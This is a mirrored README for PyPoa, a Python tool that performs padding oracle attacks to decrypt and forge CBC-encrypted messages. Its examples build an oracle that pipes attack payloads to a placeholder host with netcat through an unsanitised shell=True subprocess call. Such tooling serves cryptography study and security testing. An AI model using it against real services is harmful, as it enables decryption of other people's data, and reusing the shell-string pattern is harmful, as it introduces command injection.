Giter Club home page Giter Club logo

pypoa's Introduction

PyPoa (Padding Oracle Attack)

A python module to perform the Padding Oracle Attack. It can both decrypt and encrypt messages.

Installing / Getting started

git clone https://github.com/Dukezo/pypoa.git
pip install .

Clone the repository, install the package and you are ready to go.

Example usage

Decrypting ciphertexts:

class MyOracle(pypoa.Oracle):
    def validate(self, payload):
        proc = subprocess.Popen("echo %s | nc example.com 12345" % payload, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        output = str(proc.communicate()[0])
        return "invalid padding" not in output

ciphertext = "2495de02c6af8378db81b410c54cc3f75da4c0d4122d1c597496dd5b00038a32a333bcbabe327bd8292ca295fc8003463fe4c235a502d994d85a1332890ee080b8fd160937f260aa5449b2e05e8464cf" 
IV = binascii.hexlify(b"This is an IV456").decode("ascii")  
plaintext = pypoa.decrypt(ciphertext, 16, MyOracle(), IV)

Encrypting plaintexts:

class MyOracle(pypoa.Oracle):
    def validate(self, payload):
        proc = subprocess.Popen("echo %s | nc example.com 12345" % payload, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        output = str(proc.communicate()[0])
        return "invalid padding" not in output

plaintext = 'Top secret message'
ciphertext = pypoa.encrypt(plaintext, 16, MyOracle())

Licensing

See the LICENSE file for license rights and limitations (MIT).

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.